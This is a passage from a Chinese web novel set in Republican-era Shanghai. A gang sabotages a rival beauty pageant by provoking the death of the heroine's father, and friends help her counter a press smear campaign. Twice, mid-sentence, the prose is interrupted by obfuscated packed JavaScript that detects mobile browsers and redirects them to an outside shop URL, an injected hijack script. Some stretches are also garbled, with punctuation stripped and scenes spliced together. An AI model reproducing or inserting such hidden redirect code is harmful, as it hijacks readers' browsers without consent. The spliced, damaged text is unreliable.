“我倒小瞧了董沁芳!”曹振元哼笑,“同样是选美比赛,硬是被她弄出这么多花样,高庭新那小子再修炼一百年也不是董沁芳的对手!” 邱大鹏霎了霎眼睛,他深知曹帮主为何如此在意这场比赛。 当初高庭新为了做出一番事业,好说歹说从自家老子手里哄来两块地皮,虹口的那块预备拿来做游乐场,霞飞路的这一块,则计划用来建百货公司。原本两桩都是极稳当的买卖,偏偏这高大公子好大喜功,样样都要做到最好,开工才半年,资金就出现了短缺。 高庭新唯恐父亲知道自己捅了篓子,只能暗中四处筹钱,筹来筹去,仍差一大笔款子,曹帮主听闻这消息,便主动拿出一笔钱诱使高庭新跟自己签订了一份注股合同,高庭新吃了哑巴亏却不敢声张,还因此被高父打了个半死。 如今外头都以为逸菲林是高家的产业,可实际上,白龙帮才是幕后最大的股东,日后逸菲林盈利,白龙帮可以坐享一半利润。 吃过这次亏之后,高庭新学精了不少,在筹备虹口的游乐场时不再一味逞强,而是四处拉股东入股,先后找了孟家、白家和王家,最近还跟陆家谈起了合作。 找来找去,唯独绕过了白龙帮。 曹帮主岂肯就这样被晾到一边,只恨游乐场的工期比百货公司更长,所占资金也更大,即便要从高庭新手里把游乐场抢过来,也得先 拿出一大笔现金给高庭新挖坑,可若是钱不够的话,又不足以打动高庭新,毕竟高庭新已经谈拢了几位有实力的股东。 好在这时候,远在北平的陆三爷主动向曹帮主伸来了橄榄枝…… 邱大鹏一笑:“小的斗胆说一句,事态发展到这地步,董大小姐只占三成功劳,最大的祸根是这位。” 他指了指报上闻亭丽那张半身像。 曹振元不置可否,只拿起几上的烟斗敲了敲,邱大鹏立即乖巧地帮忙上烟丝,嘴里继续往下说: “据我所知,两家举办初赛时,欣欣压根没几个观众,可见高大公子最开始的宣传绝对比董沁芳更到位,岂知欣欣会突然冒出个会演滑稽戏的闻亭丽。 “想想看,选美比赛那套争芳斗艳的把戏大伙都看腻了,谁曾见过如花似玉的选美小姐大扮其丑?反正我是没见过。董沁芳不过是利用大伙的好奇心趁机大肆推动了一把,另外,我听说黄金影业的黄远山此前就找了闻亭丽拍戏,为了给自己的影片提前造势,这姓黄的没少利用自己在电影界的人脉帮忙宣传,几股力一齐使劲,才造就了今天的局面,但要说始作俑者,绝对是这个闻亭丽没错。” 曹振元对着闻亭丽的照片吐出一个烟圈,慢悠悠说:“先不说究竟是谁造成的这局面,你倒是说说该怎么破局?看这架势,欣欣还得热闹几月,那边越热闹,这边就越冷清,逸菲林内里究竟怎么回事你也知道,我们可没那么多闲钱不停地往里砸。” 邱大鹏踌躇满志:“今早我来就是为您老排忧解难的,您先说说朱小姐那边情况如何。” 曹振元缓缓摇头,那晚朱紫荷向他汇报陆世澄会在邹哲平家吃饭,他只当她十拿九稳,陆世澄城府再深,究竟是个少年男子,朱紫荷的相貌和才情均百里挑一,又有邹校长这层关系,她不说很快跟陆世澄打得火热,说动陆世澄去逸菲林看比赛绝对是没问题的,谁知还是没成。 “这实在没道理……”邱大鹏半信半疑,心中忽一动,“最近凌云不只一次看见过陆世澄跟闻亭丽在一起,这小姑娘对付男人素来有一套,凌云至今对她念念不忘的,此前还有一个乔杏初,假如她最近又缠上了陆世澄,朱小姐插不进手也不意外。” 曹振元眯了眯眼:“她只说不大顺利,从头到尾没有跟 我提过闻亭丽,不过你这一说,我倒要寻思寻思朱紫荷究竟有没有对我说实话了—— “她竟敢不听话么?!无妨,先叫阿鲁偷偷打听欣欣那边的情况,假如闻亭丽缠上了陆世澄,势必会邀请陆世澄前去观赛,董沁芳为了给自家拉来更多合作商家,绝对会提前放出风声,而一旦确定陆世澄会去欣欣看决赛,那可就好办了。 两人心照不宣地笑了笑。 只要确定陆世澄当晚会去欣欣观看闻亭丽比赛,选美比赛的输赢还是其次,最大的好处是他们可以跟陆三爷联手布个局对付陆世澄。 “我先打个电话探听探听情况,再请陆三爷过来一同商议此事。 那边很快就回了消息,答案是“没有。 邱大鹏笑容一滞,难不成陆闻二人的关系并不如他们想的那样亲密? 曹振元扣了扣烟斗里的灰,不咸不淡地说:“你素来自诩神机妙算,竟也有失算的时候。 “别急,帮主,这一计行不通,我还有另一计。 曹振元皮笑肉不笑打断他:“这一局面神仙来了也难解,任你再有本事,也没法替市民做决定当晚去哪家凑热闹——等等,你是不是打算直接做掉闻亭丽?你给我趁早打消这念头,闻亭丽现在的一举一动都有大批报社记者关注,她一出事,保不准会有人想到逸菲林头上,影响生意还在其次,万一惹出别的什么乱子就不划算了。 邱大鹏油黑的阔脸上浮出一丝笑容:“杀人是下下之策,小的这法子敢保证不伤闻亭丽一根汗毛,您老且等着瞧,只需两天时间,小的就能叫欣欣百货输得底裤都不剩,而且——不费一兵一卒。 *** 过两日,厉成英打电话给闻亭丽,告知陆三爷派去监视她同伴的人数骤然少了一多半,由此暗猜陆世澄已经开始设局对付陆三爷了,又猜南洋那边有点异动,因为邝志林昨天似乎离开了上海。 同时还告知闻亭丽,这期间,朱紫荷好像一直没能找到新的机会接触陆世澄,闻亭丽听闻此信,索性专心忙活自己的事。 这天,在董沁芳的牵线搭桥下,她正式跟馥丽施成衣公司签订了广告合同。 签下合同后,闻亭丽穿着馥丽施提供的成衣一口气拍摄了上百组照片。 为了让东 家满意,她竭力在相机前展现自己最美的一面。效果非常好,光是她那蜜糖般的笑容就让现场所有人都挪不开目光。 馥丽施的经理赞不绝口:“闻小姐当真可爱,也当真敬业!等这套照片冲好挂起来,不知要吸引多少小姐和太太来馥丽施订成衣。今日回去我会跟几位东家商量商量,等到闻小姐比完了决赛,我们馥丽施很可能会请她拍摄下一套。 闻亭丽喜出望外,当即决定辞去约克瑟伦洋行接线员的零工,这工作报酬低微不说,每天还需在洋行耗上一下午,辞工后她每天可以多出四个钟头来排练。 又拿出广告酬金的一半换房子。 她们现在住的地方还是当初乔太太租的,极破极小也就罢了,邻居的手脚仿佛也不大干净,幸而闻亭丽早就养成了重要物事随身携带的习惯,不然母亲的首饰早就保不住了。 这还不至于无法忍受,前晚她在厕所冲凉时,突然看到门板下方出现了一双男人的脚,静悄悄杵在那里,也不知在门外偷听多久了。 这景象惊怖恶心到无以复加,闻亭丽大怒之下,隔着房门把那人臭骂一顿,可是等大伙闻声赶来时,男人早就跑得没影了,看情形多半是邻居中的某一个,闻亭丽连夜收拾行李逃到了慈心医院。 找了整整三天的房子,最后在沪江大学附近找到了一间满意的住所,位置很偏僻,附近有一家废弃的工厂,但胜在是间大套房,一家人住绰绰有余。 套房外头是一个圆形的小门厅,对门住着一对在银行上班的新婚夫妻,两口子白日里不常在家,即便在家也十分安静。 关键房子里有二十四小时的热水和单独的浴室(注),闻亭丽最满意的是这一点。 套房门一关,里头自成一国,不必再忍受邻里昼夜不歇的麻将声,也不用担心被恶心的色鬼男邻居偷窥。 闻亭丽满意归满意,却疑惑这样的好房子为何一直没租出去,一打听,才知道附近那间废弃工厂夜里总有怪声传出来,先后三任房客都吓得搬走了。 闻亭丽倒是一点也不忌讳这些,对她来说,坏人可比鬼可怕多了,于是二话不说交了定金。 下午排练完,闻亭丽坐车到赵青萝家等消息。她们三个的志愿单早在半个月前就交上去了,赵青萝和燕珍珍都报的圣 约翰大学,一个学戏剧,一个学外语。 闻亭丽则最终选择填报沪江大学的教育系,因为比起经济系,教育系的课业压力没那么重,方便她在课业之余做做兼职。 三所学校还未正式发告示,但各类小道消息已经甚嚣尘上。有说圣约翰和沪江大学抢着录取陈晓虹的,还有人在震旦玩时看到教务处已经在用红纸誊写录取公示了,而该同学正好在长长的名单里看见了自己的名字。 她们三个每天被这些消息弄得心里乱糟糟的。 恰巧赵家有个亲戚在教育局任职,赵太太便抄了燕珍珍和闻亭丽的名字委托这人帮忙打听,那人今天代表教育局去各所大学校长处送邀请函,答应说中午回消息,结果一直到下午都没动静。 赵青萝急得在房间里转圈圈:“完了完了,我肯定是没考上,不然刘叔叔早就打电话过来了。” 闻亭丽心里虽然也是七上八下,面上却佯装镇定:“干嘛自己吓唬自己,说不定人家只是暂时抽不出空。” 忽听楼下一阵电话铃声响,三人争先恐后朝楼下跑,却见赵太太满脸喜色在那接电话:“好的好的,我让青萝自己来听电话。” 赵青萝一放下电话,便爆发出一阵大笑:成了!” 原来赵家这位亲戚上午就在圣约翰的招生处问到了赵青萝和燕珍珍的消息,不巧的是沪江大学负责招生的人今天不在,这人回到教育局后,又辗转托另一位在沪江教书的老同学帮忙打听,故而一直拖到现在才回消息。 “还好你现在也算小有名气,刘叔叔那位朋友虽然只是负责誊写名单,却对你的名字和照片有点印象,不然恐怕再要等个两三天才能打听出来。” “两三天?那我今晚还能睡得着觉吗?”闻亭丽搂着燕珍珍的肩膀哈哈大笑。 “好了好了,这下可以安心了,三位大学生,请过来用晚饭吧。”赵太太高兴得不知如何是好,忙令人端上晚餐。 回去的路上,闻亭丽在心里盘算买票回南京拜祭母亲的事,父亲的身体最近大有好转,说不定年底就能成行,房子也换了新的,日后去沪江上学也方便,她越想越觉得最近事事顺心,一路上忍不住在黄包车上偷偷笑了好几次。 兴冲冲回到慈心医院,一进病房就发现不对劲。 走廊里乌压压全是白龙帮的人,一列靠着东墙,一列靠着西墙,乍眼看颇有点阅兵的架势,但这帮流氓不是歪着身子抽烟,就是邪里邪气四下打量,原本肃静的走廊被他们弄得乌烟瘴气的。 汤普生大夫铁青着脸站在医生办公室面前,护士们神色也透着恼恨,忽一眼瞟见闻亭丽回来,几个护士试图拦住闻亭丽,一个流氓衔着烟卷高声喝道:“去去去,这不关你们的事,回去做你们的事。 闻亭丽心知不妙,忽听见前方传来小桃子的哭声,一惊之下,拔腿就跑向父亲所在的病房。 一进门,就看见邱大鹏坐在父亲床边,屋子里堆满了各类礼盒和瓜果。 邱大鹏正和颜悦色握着父亲的手小声说着什么。 周嫂和小桃子被两个壮汉堵在角落里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409284|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小桃子早已哭得上气不接下气。周嫂紧紧抱着小桃子,满脸都是惧恨之色。 床上,父亲脸庞紫胀,胸膛起伏不定,双眼死死瞪着邱大鹏。 闻亭丽忙要冲进去,两个壮汉却二话不说将她拦在门外。 闻亭丽骂道:“姓邱的!谁让你来的! 邱大鹏却只是轻声细语对闻国福说着话。 闻德生胸膛的起伏越来越剧烈,蓦然抬手抓向邱大鹏的喉咙,邱大鹏似乎早料到这一招,提前就闪到了一边。 闻德生于是软软地伏倒在床边,脑袋对着床底,肩翼高高耸动,大口大口的鲜血从嘴里咯出来。 “爹!闻亭丽急得跳脚,“邱大鹏,快给我滚出来! 邱大鹏充耳不闻,上前轻轻拍打闻德生的肩背:“大哥,大哥? 仿佛发现闻德生还有气息,便再次附耳在他耳边悄声说了句什么。 闻德生突然浑身一阵乱颤,使出全部力气,一把攥住邱大鹏的衣角,痛骂道:“你这畜生!你要是、你要是敢把亭丽送到曹帮主那儿,我和阿柔做鬼都不会放过你! 闻亭丽一震,她早料到邱大鹏没安好心,但她没想到他能想出这样的话来恶心父亲,她气急败坏道:“爹,你别听姓邱的胡说!他要是有这个能耐早就这样做了,他没这个本事! 但闻德生俨然耗尽了他身躯里仅剩的一丝精力。 邱大鹏只微笑着轻轻一推,病人便如枯叶 一般落回床上。 闻德生睁大一双空洞的眼睛望向门外断断续续喘息几声便一动不动了。顷刻间房里像是变成了一座坟一种死一般的寂静静悄悄弥漫开来小桃子仿佛察觉到了这种死气哭声愈发尖利。 “爹!”闻亭丽双眼猩红发疯一般推搡着面前的壮汉奈何对方如铁塔一般她只得返身朝走廊尽头跑去“汤普生大夫!刘护士长!快来帮忙!我爹快不行了。” 恰在此时汤普生和刘护士长也推开了挡在身前的流氓一行人疾步跑到病房前只听邱大鹏惊呼道:“大哥大哥。哎呀我大哥不好了快、快把大夫找来。” 闻亭丽白着脸闯进去。床边一地的黏血。 父亲的嘴角满是污血脸色灰得触目惊心眼睛倒是睁着但瞳孔仿佛变成了一对玻璃珠冷冰冰的半丝活气也没有。 闻亭丽脑中一片空白俯身机械化地擦拭父亲嘴边的污血血还是热的这令她心里多少燃起了一丝希望。 汤普生带人上前抢救闻亭丽木然退到一边除了听天由命她现在什么也做不了。 床边开始了一系列有秩序的抢救但医护们似乎很快就发现这不过是徒劳有人低声对汤普生说着什么有人默默回头看向闻亭丽有人异常惋惜地放下手中的药瓶和注射器。 汤普生走过来沉重地拍拍闻亭丽的肩。 闻亭丽耳边全是嗡嗡的杂音但她心里却比任何时候都明白 邱大鹏在床边假惺惺地叹气但他眼睛里半点愧意都没有在对上闻亭丽的目光时他眼中甚至闪过一丝挑衅和得意。 那张丑恶的脸在闻亭丽眼前不断放大、放大、放大! 她面无表情朝邱大鹏走去。 一边走一边摸向她那从不离身的书袋——她的枪在那里。 这段时日她几乎每晚都会跟厉成英或刘向之学本事学了这么久她的枪法已经很准究竟是把邱大鹏的脸打得稀巴烂呢?还是把这狗东西的胸膛射成蜂窝? 不不不这些都不够最好让这畜生受尽各种各样的折磨再看着他在她脚下哀嚎着慢慢死去。 她两眼赤红浑身杀气腾腾 干脆利落地就要把枪拔出来猛不防身后有人拽住了她的手。 闻亭丽铁青着脸用力一甩天王老子来了也别想阻拦她! 后头那人却死死摁住她的书袋。 她恶狠狠向后看却是刘护士长。刘护士长满头大汗眼中充满心疼和警告她暗示闻亭丽注意四周:邱大鹏身边带着四个保镖走廊里还有一大帮白龙帮的流氓这些人个个都有武器。 这个时候动手闻亭丽固然可以痛痛快快报仇但她自己也会当场丧命。 不绝不是现在因为不值当! 察觉闻亭丽依旧死死扣着袋子里的枪刘护士长用汗湿的手指使劲掐她一把同时镇定地对着那边喊了句:“小桃子快到姐姐这边来。” “姐姐。”这稚嫩的哭声终于将闻亭丽拉回了现实。她呆滞地转脸望向小桃子眼看妹妹哭着朝自己跑过来攥紧的手心不知不觉松开了一言不发蹲下去将妹妹圈进怀里。 眼泪毫无预兆地流了下来。 刘护士长说的对不是现在因为她必须保护好自己和小桃子但这笔账早晚得算她对自己发誓一定要亲手把这个禽兽的皮扒下来! 她咬紧牙关低下头将妹妹死死搂在怀中却再也抑制不住眼眶里沉重的泪水啪嗒、啪嗒眼泪一颗颗坠到地上她小声地、充满恨意地啜泣起来。 *** 当晚闻德生的遗体被送到了太平间。 闻亭丽对着空荡荡的病床发呆。 这几个月她们一家吃住全在这里这让她产生了一种此地就是家的错觉。 这一刻她才明白她之所以会这里当家是因为这里有父亲和小桃子。 父亲一走这地方不过是一间再普通不过的病房。 小桃子在她怀里含泪睡着了她让周嫂把小桃子带回寓所睡觉。 刘护士长过来陪着闻亭丽默默坐在床边 这一关再难过也得先过了再说。后事棺材、灵堂、坟墓……这些都是必须尽快解决的现实问题……各种各样的念头占据了她的脑海这令她可以暂时忘却包里的那把枪。 一整晚刘护士长都陪在闻亭丽的身边到两三点的时候闻亭丽累极了蜷缩在刘护士长办公室里的长凳上睡着了刘护士长找来一床被子轻轻帮她盖上。 作者有话要说 注:民国时期一些公寓已有24小时热水供浴例如1936年范长江和杜文思都是供职上海《大公报》的青年记者两人合租霞飞路康绥公寓的一处房子——清洁幽静设备齐全24小时热水此等条件房租自然不菲每月40余元。 第 37 章 【加更】破局。 第37章【加更】破局。 天不亮,闻亭丽就开始四处奔波。 这一忙,她才知道安葬一个人需要这么多道手续。 她光是为了买一具合适的棺材就跑了好几条街,此外还有装殓、裁衣、租灵堂等事宜,这些都即刻张罗起来,她甚至来不及悲伤,就被一大堆具体而繁杂的事缠得喘不过气。 好在第二天上午,赵青萝和燕珍珍闻讯第一时间赶来帮忙,黄远山听说闻亭丽临时租不到灵堂,当即帮着打电话给丧葬公司找人调停。 消息越传越广,下午邹校长率领一大班务实的学生前来吊唁。乔宝心和秀德的几位旧同窗相赶来探望闻亭丽,走前乔宝心握着闻亭丽的手默然良久,说:“你多保重。” 傍晚,包律师和刘亚乔也来了,亚乔姐将一个纸包交给闻亭丽,里头除了她自己和包律师给的吊唁金,还有一沓未具名的现金。 闻亭丽心知这是厉成英托包律师代为转交的。 她一句话也说不出,因为眼泪和热气哽在了喉咙里。事发到现在,身边每一个朋友都在尽力帮她渡过难关。 在大家的帮助下,灵堂于当天下午顺利搭起来了,闻家在上海的亲友甚少,预备只停灵五天就下葬。 董沁芳令人送来一个大花圈,还亲自在灵前吊唁了一番。 后半夜时,外头突然来了几个鬼鬼祟祟的记者,名为吊唁,实则不停地对着身穿素服的闻亭丽拍照,拍完照又像来时那样静悄悄走了。 黄远山等人疑惑究竟是谁通知了报社,闻亭丽却无心细究,翌日一早她和周嫂正忙着给客人们发早饭,燕珍珍突然把她拉到一边。 “你看。”燕珍珍手中拿着今早的报纸。 报上某篇文章写着: 【‘沪上之花’大热门选手闻亭丽小姐或将缺席决赛】。 闻亭丽脑子比平日麻木许多,对着大篇文字愣是半天都没反应过来。 燕珍珍无奈帮她一字一句念道:“闻父于前夜因病离世,如今闻小姐沉湎于悲恸之中……” 闻亭丽浑身一个激灵。 因为父亲的事,她竟将欣欣的比赛忘了个一干二净。 原来后天就是礼拜五了。 昨日董沁芳过来吊唁时大概是看她太悲痛,并未在她面前提及此事,但两个人心里很清楚,买票的观众至少有一半是冲着她的滑稽戏来的。 对着报纸读完一遍,闻亭丽只觉得手脚冰冷,原来邱大鹏的真实目的是这个! 那天他来,就是来致父亲于死地的,他太了解父亲的脾性,也太清楚怎样给父亲致命一击,软的不行就来硬的,总之不达目的决不罢休。 他终于如愿以偿了。 父亲这一死,不论她为决赛做了多少准备,也不论欣欣前期卖出多少票,她总归要放下一切来筹备父亲的葬礼。 而她一旦缺席,欣欣的比赛无疑会陷入一场风波。 观众前期的期待有多高,在得知她退赛后,失望和愤怒就会有多大。 欣欣在这场博弈中会输得很惨。 想通这一点,闻亭丽几乎敢肯定逸菲林背后有白龙帮的股份,不然邱大鹏不会想出这样一个杀人不见血的恶招。 可怜父亲就这样沦为了白龙帮为自己牟利的牺牲品,多么卑微,像一粒尘埃,因为无权无势,连死都是恶徒的一场阴谋。 闻亭丽嗓间涌起一股甜腥气,差点向后倒去,幸而燕珍珍眼疾手快扶了一把,才没摔倒在灵前。 黄远山几个疾跑过来:“出什么事了? *** 下午,大伙坐在一起帮闻亭丽出主意:“你只管安心参赛,灵堂这里我们帮你照看,一场比赛只有三四个小时,你表演完自己的节目就离开,颁奖之类的事可以后续再补上,提前跟董小姐打好招呼就是了。 闻亭丽缓缓摇头。 邱大鹏急不可待将这一消息通知了相熟的报社,想必已经提前想好了后招,不论她选择参赛还是退赛,都将面临一场风暴。 果不其然,傍晚又有两家晚报登载了这事,标题却与早上截然不同,大意是:欣欣百货经理部暂未收到选手退赛的消息,可见热门选手闻小姐极为重视这场演出,其父的死并不能阻止她在决赛夜大放异彩,此前购买欣欣门票的观众当晚有眼福了……云云。 赵青萝差点气歪鼻子:“这些话怎么阴阳怪气的,就差没指着鼻子说亭丽是个只顾表现自己、毫无孝心之徒了! 闻亭丽讽声说:“等着吧,只 要我不肯主动退赛明天报上的话还会更难听呢。” 董沁芳那边似乎也猜到了这一切都是逸菲林指使的傍晚她开车匆匆赶到灵堂郑重其事发问:“你是怎么想的不必有什么顾虑如果你选择退赛后头的事自有我董沁芳帮你顶着但你得尽快把你的决定告诉我。” 闻亭丽只皱眉默想父亲刚离世她却在台上大演滑稽戏即便当晚她的表演足够精彩日后也会落个不孝的名声。 可若是她不去必然会连累董沁芳和欣欣陷入难堪的局面。 除此之外她好不容易才走到决赛这一步怎能因为邱大鹏的阴谋而付诸东流。 她都可以想象邱大鹏此刻有多得意这是最令她不甘心的一点! 黄远山提建议:“大不了那晚我让我们公司的段妙卿过去救场看在这几个大明星的面子上纵算有观众不满也不至于闹到不可收拾的地步。” “行不通的。”董沁芳说“白龙帮为保万无一失当晚一定会安排人在场内煽风点火不论前来救场的是谁 正当大伙一筹莫展之际闻亭丽忽道:“我想到了一个办法。” 听完闻亭丽的话黄远山惊喜交加:“闻亭丽你可真行!法子是真好!但问题是哪家商户肯出来做这个恶人?” 欣欣百货肯定不行毕竟他们是比赛的主办方若是依照闻亭丽的法子来办闻亭丽固然有了充足的理由继续参赛但同时也会引发观众对欣欣百货的抵触情绪。 那么只有临时再找别的商家了。 董沁芳为人爽快当即起身说:“既然想出了这样的妙招尽快找人才是正理我先去试一试欣欣输不输比赛还是其次我是真看不惯他们这些下作手段。” 几人起身送董沁芳出去但大家心里其实都没底光是说服商户出来做恶人都要花不少时间何况还有拟合同和登报等措施。 而眼下离决赛只有两天时间了。 不出所料一直到次日清晨董沁芳那边都没动静。 相应地由于迟迟没有得到闻亭丽正式退赛的消息白龙帮开始在报上大肆投放文章文中全是“闻姓选手对父亲的死无动于衷”“一心要出名”“薄情寡义”等不堪的字眼。 一夕之间,那些此前就关注这场比赛的小部分市民,对闻亭丽由充满兴趣转为不齿,不少人打电话到欣欣要求退票。 黄远山再也坐不住了,再这样下去闻亭丽的名声就彻底弄糟了。她开始四处找人帮忙,只恨隔行如隔山,电影界的这帮朋友固然能在舆论上想想办法,但谁也没能耐解决欣欣这个困局。 闻亭丽的一颗心沉沉坠着。 晚上燕珍珍和赵青萝回家洗澡,周嫂带大家出去吃饭,黄远山有事未归,于是偌大一间灵堂只剩闻亭丽一个守着。 她跪坐在灵前默默烧纸,门外突然传来脚步声。 闻亭丽讶异回头,恰巧看到一个高挑的男子掀帘进来,是孟麒光,他穿着一套肃穆的黑色西装,进来后在门口看一眼闻亭丽,径直朝闻德生的牌位前走来。 闻亭丽肃容伏下身向孟麒光回礼。 “孟先生。” 孟麒光在灵前上了一柱香,转身看向右手边登记礼金簿的桌子。 闻家总共没几个亲戚,礼金簿上的名单少得可怜,新近的来宾大部分是闻亭丽的同学,学生出手自然阔绰不了,某一排名字后面,每人甚至只随了小洋五角。 看了这几眼,他抬手从上衣口袋里取出一个信封搁到桌上。 “请节哀。”孟麒光的口吻比平日庄重许多。 闻亭丽一默,以她和孟麒光的交情,实在当不起这样厚重的吊唁礼。 她赶忙从桌后绕出来,捧起信封对他说:“孟先生。” 孟麒光却把她的手挡了回去。 “我在外随礼一向是这个数,钱么,一旦给出去了就没有收回来的道理,你要是实在不想收,就把它们烧了吧。” 闻亭丽还待说,孟麒光堵回她的话头:“怎么,董沁芳还没帮你想到好法子了吗?” 闻亭丽一愣。 “我倒是不想知道。”孟麒光淡声说,“但谁叫这两日报上弄得沸沸扬扬的。比赛是董沁芳主办的,现在自家选手遇到了麻烦,她打算如何解决?总不能眼看着你的名声玩完吧。” 闻亭丽没吭声,她没忘记孟麒光跟高庭新是好朋友,于情于理孟麒光都不可能帮欣欣这边。 孟麒光牵牵嘴角:“闻小姐实在不必把我想得太坏,做生意有赔有 赚,这次亏了,大不了在别的地方赢回来,我虽是逸菲林的股东之一,但也犯不上为了一点生意把一个小姑娘坑害得这么惨。 他眼里有浓浓的讽意,却不知他在讽刺谁。 闻亭丽虽仍是满心防备,口气却和软了几分。 “谢谢孟先生关心,我这几日一直在忙父亲的葬礼,所以没来得及跟董小姐商量。 孟麒光不置可否,想必知道她没说实话,不过他并未一味追问,而是转头环视灵堂内部,仔仔细细将每个花圈上吊唁人的姓名看了一遍,眼底突然露出一抹谑意。 闻亭丽不知道孟麒光在找什么。孟麒光似乎思索了一下,重新转头打量她。 她的样子十分憔悴。 “我今天的确是来帮你的,你就当我路见不平吧,倘若今晚董沁芳还是没能想出好办法,这件事我来帮你解决。 闻亭丽依旧没言语,他从衣兜里取出一张名片。 “当年我父亲死的时候,只给我留下了一个烂摊子,从这一点来说,我跟你还挺像的——都是赤手空拳打天下。 他对着雪白的灵堂再次环视一圈,仿佛颇受触动,低头哑默片刻,用自嘲的口吻说:“就因为这一路走来栽过太多跟头,所以我才养成了事事衡量得失的性子,可我也不是每一次都喜欢索要报酬的,例如这次,我是真心实意来帮你的。 眼看闻亭丽迟迟不收,孟麒光一哂,将名片撂她手边的桌上:“等你想好了,给我打电话。 他头也不回地走了,闻亭丽默然良久,走过去缓缓拿起孟麒光的名片。她看得出,孟麒光这次的确没有掺杂私心。 但就像他自己说的,他早已习惯了在每一段关系里计算得失,即便这一回他可以不计回报,万一还有下一回怎么办。 当她习惯了向孟麒光求助,双方的界限只会变得越来越模糊,而他想要的,绝不仅仅只是正常范围的回报。 所以,在她这里,这条底线轻易不能碰,这点原则总要讲。 忽然听到外面黄远山在说话,闻亭丽一时找不到地方安置孟麒光的名片,只好随手把它收到了自己的皮夹子里。 *** 一直等到早上,闻亭里都没能等到董沁芳回信。 看样子,昨夜董沁芳 遇到了不小的阻力。 但今晚就是决赛夜,按照她想出来的法子,最迟白天就得做出回击。 她决定亲自去一趟欣欣百货。 好在葬礼进行到第三天时,宾客和杂事都少了许多,闻亭丽拜托黄远山等人帮忙照看两个小时,自己则换了常服去找董沁芳。 途中路过一家报摊,闻亭丽想起早上赵青萝和燕珍珍鬼鬼祟祟把报纸藏起来的举动,忍不住下车买了两份报纸。果不其然,虽说在黄远山的努力下报上多了几则帮她说话的文章,但更多的标题比昨天更不堪入目。 【耻乎?某选美小姐为追逐名利,竟罔顾孝道。】 【风光得了一时,风光不了一世。劝回头,莫为一时浮华迷了双眼。】 闻亭丽铁青着脸攥紧报纸,别的也就算了,她只担心这样闹下去会影响沪江大学对她的录取,毕竟学生的品行历来也是大学的考核内容之一。 不远处一个报童望望闻亭丽,又看看手里的报纸,来回对照了几遍,非常不屑地对闻亭丽扮了个鬼脸,闻亭丽也懒得理会,径自跳上车赶往欣欣百货。 董沁芳却不在办公室,经理部的人告诉她,今早董沁芳曾说过自己上午要去沙逊大厦办事。 闻亭丽心急如焚,争分夺秒赶到沙逊大厦。 大厦门口的印度门房把她拦住。 “小姐你找哪位?” 闻亭丽拿出董沁芳的名片给他们看,这才获准入内。 但这幢大厦有许多厂子的办事处,闻亭丽也不知道董沁芳现在究竟在哪层,于是决定就在一楼大厅里等董沁芳出来。 厅里设有不少长椅,闻亭丽找个不起眼的角落坐下,把头向后靠在椅背上,疲惫地叹了口气。 这一幕恰巧落到一位路过的中年男人眼里。 男子先是一愣,随即将视线落在闻亭丽鬓边的那朵白花上,对着她疑惑地端详了好一会,正要上前询问一二,却因为身边的随从们太多,一时抽不开身,只得出大厦上了车。 该男子正是那晚去慈心医院接陆世澄的方达,方达一径乘车到了陆公馆,公馆的管事老陈迎出来说:“少爷早上五点刚从宁波回上海,听说一夜未睡,这会儿还在书房回信。” 方达说知道了,进书房后随手关上门, 近前将手里的信函恭敬地放到陆世澄手边。 “老邝从大马拍来的电报陆三爷果然在糖厂账上支了一大笔款子看来是打算后续拨给白龙帮的要拦吗?” 【拦。】陆世澄将电报扔回桌上。 方达忙应了这时陈管事进来奉茶顺便送来了今早的报纸。 方达看了眼早报愣了愣道:“原来如此。” 他抬头向陆世澄解释道:“刚才我在沙逊大厦看到这位闻小姐了起初我有点不敢认因为才几天不见闻小姐竟活活瘦脱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没有别的办法了。她无奈地说,“先把这一关对付过去再说。 闻亭丽明知这不是个最好的法子,碍于形势也只能如此,正当她准备坐下来签合同时,高筱文碰巧过来了。 屋里人忙不迭要将合同藏起来,她们虽然信得过高筱文,却怕高筱文不小心在她大哥面前走漏风声。 高筱文眼睛却极尖,抢先夺过合同。 “好哇,亏我替闻亭丽干着急,原来你们早想到对策了。 看了一晌又摇头:“法子是好法子,公司却不对。闻亭丽和欣欣百货眼下可谓荣辱与共,这消息传出去,大伙第一反应这是沁芳姐为了帮闻亭丽解围临时想出的办法,非但不能破局,说不定又会被白龙帮拿来大做文章,这样吧,这个恶人我来做。 董沁芳奇道:“难不成你有公司? 闻亭丽揉着眉心:“她有。 高筱文煞有介事从金灿灿的手提袋里拿出一个珠贝色的粉盒,笑嘻嘻对着众人晃了晃。 “忘记通知大家了:鄙人的‘傲霜公司’于上周正式成立。她像模像样给大家发起了名片,“主营业务是女士们的化妆品,粉膏是主打产品,我早跟闻亭丽说好了让她帮我在电影里打广告。 名片上印着: 【傲霜公司董事长:高筱文】 黄远山有点想笑:“高老板,你可想清楚了,这事一定会招骂的,贵公司新成立,能不能经得住这一遭? “谁叫这事因我大哥而起?高筱文满不在乎地说,“我总不能眼看着闻亭丽被害成过街老鼠。大不了这事一过我就给公司换个名字。闻亭丽,你别那样看着我,我知道你心里感动得一塌糊涂——不必对我三跪九叩,谁叫我看好你是未来的大明星呢!你只需回头在电影里多给我的粉膏露几次脸就是了,好了好了,时间不等人,我马上让我们公司账房拟合同。 闻亭丽哽咽着搂住高筱文 ,高筱文故作夸张地乱叫,最后还是忍不住轻柔地拍了拍好朋友的肩膀。 吃午饭的时候,所有人的胃口都好了起来,尤其是闻亭丽,她一想到邱大鹏看到报纸之后会是什么嘴脸,就感到无比快意。 谁知等了一个钟头,董沁芳突然打电话到灵堂找闻亭丽。 “你赶快来欣欣一趟。” 闻亭丽只纳闷为何不是高筱文打电话:“怎么了?是不是合同不顺利?” 